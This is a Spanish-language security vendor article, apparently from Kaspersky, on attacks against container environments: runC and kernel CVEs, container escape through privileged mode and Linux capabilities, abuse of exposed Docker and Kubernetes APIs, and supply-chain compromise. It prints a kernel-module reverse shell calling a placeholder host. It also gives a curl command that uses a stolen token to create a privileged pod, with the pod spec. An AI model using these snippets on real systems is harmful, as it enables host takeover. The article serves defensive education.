Introducción
Las infraestructuras modernas utilizan mucho la contenerización para implementar aplicaciones, escalar servicios y construir plataformas en la nube. El uso de Docker, Kubernetes y otras tecnologías se ha convertido en el estándar para la automatización eficiente de los entornos corporativos. Pero junto con la creciente popularidad de los contenedores, también aumenta el interés de los atacantes en esta tecnología, algo que identificamos en nuestra investigación sobre ciberamenazas complejas. Por ejemplo, el grupo APT TeamPCP comprometió, en uno de sus ataques recientes, Checkmarx KICS en el contexto de varias cadenas simultáneas para distintos vectores, incluida la infección del repositorio de Docker Hub para robar secretos de Kubernetes y otra información sensible. Las imágenes infectadas distribuían un stealer que se cargaba durante el proceso de escaneo de KICS.
En la actualidad, los ataques contra entornos de contenedores son escenarios completos y de múltiples etapas que incluyen ataques a la cadena de suministro, robo de secretos de Kubernetes, abuso de la API de orquestación e intentos de escape del contenedor. En este artículo analizamos los principales vectores de ataque contra contenedores que siguen siendo más relevantes hoy en día.
Principios de la contenerización
Un contenedor es un entorno aislado para la ejecución de código que permite delimitar el espacio para un funcionamiento correcto e independiente. A diferencia de una máquina virtual, el contenedor utiliza el mismo núcleo que el sistema operativo.
Para aislar el entorno, el contenedor utiliza un espacio de nombres de procesos independiente y un sistema de archivos virtual. Sus recursos están limitados y se comparten con el sistema host. El aislamiento de contenedores se construye sobre mecanismos del núcleo de Linux como namespaces, cgroups, capabilities y seccomp.
El compromiso de un contenedor puede ayudar a los atacantes a alcanzar sus objetivos en el sistema host. A continuación, analizamos los vectores actuales relevantes para la arquitectura de implementación de contenedores y su infraestructura.
Vectores de ataque actuales
A continuación, destacamos los principales y más actuales vectores de ataque contra entornos de contenedores que están siendo usados por los atacantes:
- explotación de vulnerabilidades del sistema host y de los componentes del entorno de ejecución del contenedor;
- acciones maliciosas dentro de un contenedor comprometido;
- escape del contenedor con el consiguiente compromiso del nodo;
- explotación de errores de configuración y uso inseguro de la API de contenerización y orquestación;
- ataques a la cadena de suministro, incluida la infección de imágenes de contenedores y el compromiso de los procesos de CI/CD.
Cada uno de los vectores enumerados puede utilizarse de forma aislada o como parte de un ataque complejo y de múltiples etapas. En la práctica, los atacantes rara vez se limitan al compromiso de un solo contenedor. El objetivo principal de los atacantes suele ser obtener acceso al clúster de Kubernetes, a los sistemas de almacenamiento de secretos o a otros componentes críticos del entorno. Por ello, la protección de la infraestructura de contenedores requiere un enfoque integral que incluya el control de configuraciones, la protección del entorno de ejecución, el monitoreo de la actividad y la seguridad de la cadena de suministro de software. A continuación, analizamos con más detalle cada uno de los vectores presentados.
Explotación de vulnerabilidades del sistema de hosts
Dado que el contenedor no cuenta con un sistema operativo aislado propio, las vulnerabilidades que afectan al núcleo de Linux o a los componentes del entorno de ejecución siguen siendo relevantes también al explotarlas desde el contenedor.
Cualquier vulnerabilidad que permita elevar privilegios, ejecutar código arbitrario o vulnerar los mecanismos de aislamiento puede ser aprovechada por un atacante tras comprometer el contenedor. La explotación exitosa de estas vulnerabilidades puede provocar la salida del contenedor, el compromiso del nodo de Kubernetes o de todo el clúster, el movimiento lateral en la infraestructura, el robo de secretos y la ejecución de acciones maliciosas, incluso hasta la denegación total de servicios. Cabe destacar que la sola presencia de la vulnerabilidad no siempre implica que el contenedor será comprometido, ya que en ocasiones la explotación requiere parámetros de configuración o privilegios adicionales.
A continuación, presentamos ejemplos de algunas vulnerabilidades utilizadas en ataques contra entornos de contenedores.
- CVE-2019-5736 es una de las vulnerabilidades más conocidas y representativas relacionadas con la contenerización. Afectaba al entorno de ejecución runC y permitía que un atacante, con acceso previo dentro del contenedor, ejecutara código arbitrario en el sistema host con privilegios de root. La causa de la vulnerabilidad fue el manejo incorrecto, por parte de runC, del descriptor de archivo de su propio ejecutable a través del mecanismo /proc/self/exe. Al iniciar el contenedor, el proceso runC se ejecutaba de forma temporal en su contexto, aunque seguía siendo un proceso del sistema host. Esto permitía que el atacante obtuviera acceso al binario de runC y sobrescribiera su contenido.
- CVE-2022-0492 es una vulnerabilidad crítica del núcleo de Linux que permite realizar un escape del contenedor y ejecutar comandos arbitrarios en el sistema host. El problema estaba relacionado con una verificación incorrecta de privilegios al trabajar con el mecanismo cgroups release_agent. La vulnerabilidad se convirtió en un peligro especial para las infraestructuras de contenedores, ya que permitía que un atacante, ya capaz de ejecutar código dentro del contenedor, saliera de los límites del aislamiento y obtuviera control sobre el sistema host.
- CVE-2024-21626 es una vulnerabilidad crítica en runC que permitía a un atacante obtener acceso al sistema de archivos del host desde el contenedor y, en determinados escenarios, incluso lograr un escape completo. La causa principal del problema fue el manejo incorrecto, por parte de runC, de los descriptores de archivo y del directorio de trabajo actual del proceso al iniciar contenedores y ejecutar comandos mediante
docker execu otros mecanismos similares.
Acciones maliciosas dentro del contenedor
A veces, para alcanzar sus objetivos, el atacante no necesita explotar cadenas de ataque complejas que incluyan el escape del contenedor, el compromiso del clúster de Kubernetes o el movimiento lateral en la infraestructura. En varios casos, el propio contenedor ya contiene datos y recursos valiosos para el atacante. Por ejemplo, en él pueden encontrarse:
- credenciales de usuarios y servicios;
- claves de API;
- tokens de autorización;
- claves SSH;
- variables de entorno con secretos;
- tokens de ServiceAccount en Kubernetes;
- archivos de configuración;
- datos del servicio de la aplicación o de la base de datos.
Estos datos suelen quedar accesibles, sobre todo, debido a errores de configuración o particularidades de los procesos. Por ejemplo, los secretos pueden transmitirse mediante variables de entorno, incluirse en imágenes de Docker durante la etapa de compilación o montarse dentro del contenedor. En entornos de Kubernetes, los tokens de ServiceAccount montados de forma automática, que permiten interactuar con la API de Kubernetes, representan un interés adicional para los atacantes.
Incluso el compromiso de un solo contenedor suele brindar al atacante recursos suficientes para acciones posteriores: obtener acceso a servicios externos, comprometer la infraestructura en la nube, robar datos de usuarios, ejecutar operaciones en nombre de un servicio de confianza y establecer persistencia en la infraestructura. Además del robo de datos, los atacantes pueden usar el contenedor comprometido como plataforma para realizar actividad maliciosa. Por eso, la seguridad de la infraestructura de contenedores no se limita a la protección contra escapes. Incluso un contenedor aislado que contenga datos sensibles o tenga acceso a servicios internos puede convertirse en un punto de compromiso pleno de la infraestructura.
En el contexto de este vector, suelen aplicarse enfoques y técnicas relevantes no solo para entornos de contenedores, sino también para sistemas tradicionales. Tras obtener acceso al contenedor, el atacante muchas veces se encuentra en un entorno Linux completo, donde puede utilizar métodos estándar de posexplotación, recopilación de información y persistencia.
En este artículo detallamos más sobre los errores de configuración de contenedores y otras prácticas inseguras que los atacantes pueden usar para realizar acciones maliciosas.
Escape del contenedor
Uno de los vectores de ataque más peligrosos y frecuentes contra la infraestructura de contenedores es el escape del contenedor. Este consiste en la vulneración de los mecanismos de aislamiento del entorno de contenedores, que permite al atacante interactuar con el sistema host.
La posibilidad de un escape del contenedor puede surgir por múltiples razones: la explotación de vulnerabilidades, errores de configuración de contenedores y el uso inseguro de la API de contenerización y orquestación. De hecho, el escape del contenedor es el resultado lógico de la mayoría de los ataques contra la infraestructura de contenedores, ya que el objetivo principal del atacante suele ser salir del entorno aislado y obtener acceso al sistema host o al clúster de Kubernetes. Así, el escape del contenedor reúne buena parte de los vectores de ataque analizados en este artículo. En la práctica, una de las causas más comunes de los escapes exitosos del contenedor sigue siendo los errores de configuración, que ocurren con mucha más frecuencia que la explotación de vulnerabilidades complejas. Por eso, a continuación analizamos con más detalle los errores de configuración de contenedores y los escenarios de ataque relacionados.
Para comprender mejor los riesgos de las configuraciones incorrectas de contenedores, analicemos el concepto de “capacidades” (capabilities) en los sistemas Linux. Se trata de un mecanismo de asignación granular de privilegios extendidos a los procesos, que permite realizar acciones privilegiadas sin acceso root.
Contenedores privilegiados
Una de las configuraciones más peligrosas es ejecutar el contenedor con el parámetro --privileged. En este modo, el contenedor obtiene todas las capacidades de Linux, acceso a los dispositivos del host y los privilegios para interactuar con las interfaces del núcleo. Un contenedor así deja de ser un entorno aislado y, en muchos casos, cuenta con capacidades equiparables al acceso root en el sistema host.
Veamos un ejemplo sencillo de ataque de escape del contenedor con el parámetro --privileged. Con la utilidad capsh, es posible comprobar que dicho contenedor cuenta con casi todas las capacidades de Linux. Además, el espacio de nombres de PID coincide con el del host, ya que el proceso con PID=1 corresponde a init (el primer proceso del sistema Linux); en otra configuración, el primer PID sería el identificador del proceso que creó el contenedor. Si se inicia una shell desde el proceso init con la utilidad nsenter, el comportamiento esperado es la creación de un proceso fuera del contenedor, lo cual puede confirmarse con facilidad con el comando hostname.
Las configuraciones incorrectas de privilegios del contenedor generan un amplio espacio para los ataques. A continuación, analizamos en detalle los métodos de escape del contenedor mediante capacidades específicas.
CAP_SYS_ADMIN
CAP_SYS_ADMIN se considera una de las capacidades más peligrosas de Linux en el contexto de la seguridad de contenedores. Aunque las capacidades de Linux se concibieron como un mecanismo para dividir los privilegios del superusuario en categorías independientes, CAP_SYS_ADMIN terminó abarcando, con el tiempo, un número considerable de operaciones sensibles del núcleo. Como resultado, un contenedor que cuenta con esta capacidad obtiene acceso a numerosos mecanismos del sistema que afectan al aislamiento del entorno de contenedores. Adquiere la capacidad de montar sistemas de archivos, interactuar con el mecanismo cgroups, se encarga de la distribución de recursos, modificar parámetros del núcleo dentro de ciertos límites, trabajar con dispositivos loop y utilizar distintos mecanismos de gestión de espacios de nombres. En la práctica, esto reduce mucho el límite entre el contenedor y el sistema host.
Esta capacidad se vuelve más peligrosa cuando se combina con otros errores de configuración. Por ejemplo, si el contenedor tiene configurado el parámetro hostPath, el atacante, tras el compromiso, puede montar directorios del sistema host dentro de su propio entorno y obtener acceso a archivos críticos del nodo. De manera similar, el acceso a los directorios /proc o /sys permite interactuar con mecanismos internos del núcleo de Linux, lo que puede ampliar el alcance del compromiso.
Veamos, con un ejemplo ilustrativo, cómo la presencia de CAP_SYS_ADMIN puede ayudar a un atacante a escapar del contenedor. La imagen a continuación muestra un conjunto de acciones dentro de un contenedor que cuenta con la capacidad CAP_SYS_ADMIN y acceso a los directorios del host. Al montar un disco del host en una carpeta del contenedor, el atacante puede utilizar con libertad todos los archivos del sistema host. En este ejemplo, se muestra la posibilidad de sobrescribir la configuración de la shell del superusuario agregando en ella cualquier carga útil maliciosa.
CAP_SYS_MODULE
CAP_SYS_MODULE otorga acceso directo al mecanismo de carga y descarga de módulos del núcleo. La interacción con el espacio del núcleo convierte a CAP_SYS_MODULE en una capacidad de alto riesgo, a diferencia de muchas otras capacidades, que se limitan al espacio de usuario.
Desde el punto de vista de la arquitectura de Linux, los módulos del núcleo son código que se ejecuta con privilegios máximos en el espacio del núcleo. Los módulos pueden ampliar la funcionalidad del sistema, gestionar dispositivos, la pila de red, los sistemas de archivos y otros componentes críticos. Por eso, la posibilidad de cargar de forma dinámica dichos módulos mediante CAP_SYS_MODULE implica la capacidad de influir en el comportamiento de todo el sistema operativo.
En la práctica, CAP_SYS_MODULE rara vez es necesario en las aplicaciones modernas de contenedores. La presencia de esta capacidad suele estar relacionada con arquitecturas obsoletas, sistemas de monitoreo o controladores especializados que requieren interactuar con el núcleo. Por ello, en las infraestructuras modernas, el uso de CAP_SYS_MODULE está casi prohibido. En la mayoría de los entornos se considera inaceptable, ya que su compromiso no deriva en una escalación de privilegios local dentro del contenedor, sino en la ejecución de código en el espacio del núcleo.
El escape del contenedor mediante esta capacidad se lleva a cabo en varias etapas. En este caso, el objetivo del ataque es cargar un módulo malicioso del núcleo de Linux. Cabe señalar que este módulo debe coincidir con la versión del núcleo, y para determinarla, el atacante necesita primero realizar acciones adicionales de reconocimiento en el sistema. Estos ataques pueden llevarse a cabo dentro del contenedor si cuenta con las herramientas necesarias para compilar el módulo y tiene acceso a los directorios con las dependencias del núcleo. Sin embargo, la mayoría de las veces dichas herramientas no están presentes en la imagen del contenedor, por lo que los atacantes preparan el payload malicioso con las dependencias necesarias en otro host y luego lo transportan por la red o lo escriben en un archivo binario (por ejemplo, mediante echo).
Veamos el escape del contenedor mediante un módulo del núcleo en el ejemplo del siguiente payload:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
#include <linux/kmod.h> #include <linux/module.h> MODULE_LICENSE("Test"); MODULE_AUTHOR("Test"); MODULE_DESCRIPTION("reverse shell module"); MODULE_VERSION("1.0"); char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL}; static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); |
Este módulo, al cargarse, inicia una shell inversa. Después de compilar y entregar el payload en el contenedor, al atacante solo le queda cargar el módulo en el espacio del núcleo, tras haber escuchado el puerto en la dirección indicada en el payload.
CAP_SYS_PTRACE
La capacidad CAP_SYS_PTRACE otorga a un proceso privilegios extendidos de interacción con otros procesos del sistema mediante el mecanismo ptrace. Este mecanismo está destinado a la depuración y el rastreo de aplicaciones, pero su uso incorrecto en entornos de contenedores puede debilitar mucho el aislamiento y, en ciertos escenarios, provocar el escape del contenedor y el posterior compromiso del sistema del host.
El principal riesgo de CAP_SYS_PTRACE radica en la posibilidad de leer y modificar la memoria de otros procesos, controlar su ejecución, inyectar código y acceder a datos sensibles presentes en la memoria. Además, CAP_SYS_PTRACE permite realizar inyecciones en procesos.
Tras comprometer el contenedor, el atacante puede usar ptrace para conectarse a procesos del host. Cabe destacar que esto solo es posible si el contenedor tiene acceso a los PID del host, lo cual ocurre cuando existe la configuración hostPID: true. El atacante obtiene la capacidad de inyectar código en un proceso del host y, por ejemplo, abrir una shell inversa (en la mayoría de los casos, esto requiere código malicioso adicional). La imagen a continuación muestra una demostración de este ataque, implementado a partir de una PoC disponible al público.
CAP_NET_ADMIN
CAP_NET_ADMIN ofrece amplios privilegios de gestión de la pila de red del sistema Linux. En caso de compromiso del contenedor, la presencia de esta capacidad debilita mucho el aislamiento de red y crea oportunidades adicionales para el avance del ataque.
Un contenedor con la capacidad CAP_NET_ADMIN obtiene la capacidad de modificar parámetros de las interfaces de red, gestionar tablas de enrutamiento, interactuar con mecanismos de filtrado de tráfico y alterar el comportamiento de la pila de red. Aunque la mayor parte de estas operaciones se limita formalmente al espacio de nombres de red del contenedor, en la práctica esta capacidad suele usarse junto con configuraciones incorrectas, como el parámetro hostNetwork: true, que permiten obtener acceso a los recursos de red del host.
Tras obtener acceso al contenedor, el atacante puede usar esta capacidad para modificar cómo se comporta en la red y organizar ataques adicionales dentro de la infraestructura. Uno de los escenarios más comunes es la modificación de las reglas de iptables y la redirección de tráfico. Esto permite realizar ataques MitM, interceptar el tráfico interno y ocultar la propia actividad maliciosa.
Es importante subrayar que existen muchas otras capacidades de Linux que permiten escapar del contenedor en combinación con otras configuraciones incorrectas; aquí solo enumeramos algunas de las más graves y frecuentes.
Uso de la API de orquestación
Uno de los vectores de ataque más peligrosos y, a la vez, más frecuentes contra la infraestructura de contenedores es la explotación de errores de configuración de las API de administración de contenedores y de los sistemas de orquestación. A diferencia de los ataques que requieren explotar vulnerabilidades del núcleo o realizar un escape del contenedor, este escenario a menudo no exige técnicas complejas: al atacante le basta con obtener acceso a las interfaces de administración del entorno de contenedores.
El problema radica en que las API de las plataformas de contenedores cuentan con privilegios para administrar casi toda la infraestructura. La API de Docker, la API de Kubernetes y la API de kubelet permiten crear contenedores, modificar configuraciones, acceder al sistema de archivos de los nodos y ejecutar comandos dentro de contenedores ya en ejecución. Si están mal configuradas, estas interfaces se convierten en un punto de compromiso de todo el entorno.
Uno de los ejemplos más conocidos es la API de Docker expuesta. Si el demonio de Docker está disponible por TCP sin TLS ni autenticación, el atacante puede interactuar de forma remota con el sistema host como administrador local: iniciar nuevos contenedores configurados para el ataque, montar el sistema de archivos del host y ejecutar comandos arbitrarios dentro de los contenedores a través de la API. En la práctica, el compromiso de la API de Docker suele derivar en la toma completa del nodo en unas pocas solicitudes.
Riesgos similares existen también en entornos Kubernetes. La API de Kubernetes es el punto central de administración de todo el clúster. Con un token de ServiceAccount, políticas RBAC débiles o un servidor de API expuesto por error, el atacante puede realizar una amplia gama de operaciones.
Como ejemplo de ataque, supongamos que el atacante comprometió un token de la API de Kubernetes de una cuenta privilegiada. Primero, se determina el conjunto de privilegios de ese token, por ejemplo, mediante un script que realiza solicitudes para cada privilegio individual. De esta forma se elabora la lista completa de privilegios en Kubernetes.
La salida del script muestra que el token de API obtenido cuenta con privilegios muy altos en el clúster. La siguiente etapa lógica del ataque sería la creación de un contenedor privilegiado y la explotación de cualquiera de los métodos de escape antes descritos. En nuestro ejemplo, la creación del contenedor se realizó mediante una solicitud POST a la API con curl:
|
1 |
curl -k -X POST https://<kubernetes-url>/api/v1/namespaces/default/pods -H "Authorization: Bearer <Token>" -H "Content-Type: application/json" -d @pod.json |
En pod.json se transmite la configuración del contenedor necesaria para el posterior escape:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
{ "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "privileged-pod-from-api" }, "spec": { "containers": [ { "name": "debug-container", "image": "ubuntu:latest", "command": ["sleep", "3600"], "securityContext": { "privileged": true } } ] } } |
Al crear un contenedor privilegiado, el atacante obtendrá la posibilidad de llevar a cabo el escape de este, con el consiguiente compromiso del sistema host.
Existen otros escenarios de ataque relacionados con solicitudes de API. Por ejemplo, al montar el socket de Docker dentro del contenedor, el atacante obtiene la capacidad de interactuar directo con el demonio de Docker. Tras comprometer dicho contenedor, el atacante hereda, en la práctica, los permisos del demonio y, por lo tanto, obtiene control sobre todos los contenedores del host.
Para llevar a cabo este ataque, los atacantes buscan contenedores con sockets montados. El resto del ataque se desarrolla como ya se describió: se realiza una solicitud de API para crear un contenedor privilegiado y, a continuación, también mediante la API, se explota cualquiera de los métodos de escape.
Ataque a la cadena de suministro
A diferencia de los ataques clásicos, orientados a explotar vulnerabilidades de un contenedor ya implementado, este enfoque se centra en comprometer componentes incluso antes de que se ejecuten en el entorno de ejecución. La infraestructura de contenedores moderna está integrada de forma estrecha con una gran cantidad de componentes externos. Por ende, la seguridad del contenedor depende no solo de la propia aplicación, sino de toda la cadena de compilación y entrega de la imagen. El compromiso de cualquiera de estas etapas puede permitir que el atacante introduzca código malicioso en numerosos contenedores y servicios a la vez.
Uno de los escenarios más comunes son los ataques mediante la infección de imágenes de contenedores. En muchas organizaciones, los desarrolladores utilizan imágenes públicas de Docker Hub u otras fuentes disponibles sin verificar por completo su origen y contenido. Los atacantes publican imágenes infectadas que imitan servicios y utilidades populares. Tras ejecutarse ese contenedor dentro de la infraestructura, el atacante obtiene la capacidad de ejecutar su propio código ya dentro del entorno de confianza de la organización.
Además, uno de los objetivos más frecuentes de los ataques son los sistemas de CI/CD para la implementación de contenedores. Las plataformas de compilación y entrega de aplicaciones suelen contar con privilegios extendidos. Por ejemplo, tras obtener acceso a un sistema de CI/CD, el atacante puede modificar de forma discreta las etapas de compilación de la imagen de Docker. En lugar de alterar el código fuente de la aplicación, la lógica maliciosa puede introducirse directo en el pipeline. Un comando adicional en el proceso de compilación puede descargar un binario de terceros, agregar un script oculto, modificar la configuración del contenedor o insertar un mecanismo de control remoto. De forma externa, el contenedor parecerá legítimo, ya que su funcionalidad principal permanecerá sin cambios.
Conclusiones
En general, los ataques modernos contra entornos de contenedores muestran que la principal amenaza no surge solo dentro del contenedor mismo, sino también en la implementación de la infraestructura de contenedores. Los contenedores suelen usarse como un entorno intermedio para establecer persistencia dentro del sistema: tras el compromiso inicial, los atacantes buscan escalar al nivel del sistema operativo host o bien obtener acceso a la administración de la infraestructura mediante las API de contenerización y orquestación. Para ello, se explotan configuraciones débiles, privilegios excesivos y errores de aislamiento.
Además, se observa una tendencia a desplazar los ataques hacia los pipelines de CI/CD, donde el compromiso de una sola parte puede derivar en la toma de control de toda la infraestructura. Por ello, la seguridad de los entornos de contenedores incluye la protección del host, un control estricto de permisos en el orquestador, la minimización de privilegios de los contenedores y la validación de toda la cadena de suministro. Nuestra solución Kaspersky Container Security está diseñada teniendo en cuenta las particularidades de los entornos de contenedores y ofrece protección en distintos niveles, desde las imágenes de contenedores hasta el sistema host, ayudando a poner en práctica el principio de desarrollo seguro de software.









Contenedores en llamas: del escape hacia el host a los ataques a la cadena de suministro